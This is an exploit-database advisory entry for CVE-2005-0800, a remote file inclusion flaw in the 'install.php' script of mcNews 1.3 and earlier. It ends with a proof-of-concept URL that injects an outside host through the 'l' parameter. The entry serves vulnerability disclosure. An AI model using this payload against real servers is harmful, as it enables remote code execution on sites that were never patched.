McNews 1.x - 'install.php' Arbitrary File Inclusion



EKU-ID: 30586 CVE: CVE-2005-0800;OSVDB-14887 OSVDB-ID:
Author: Jonathan Whiteley Published: 2005-03-17 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home 


source: https://www.securityfocus.com/bid/12835/info

mcNews is reportedly affected by a remote file include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input to the 'install.php' script.

This issue is reported to affect mcNews versions 1.3 and prior.

http://www.example.com/path/to/mcnews/admin/install.php?l=http://www.example.com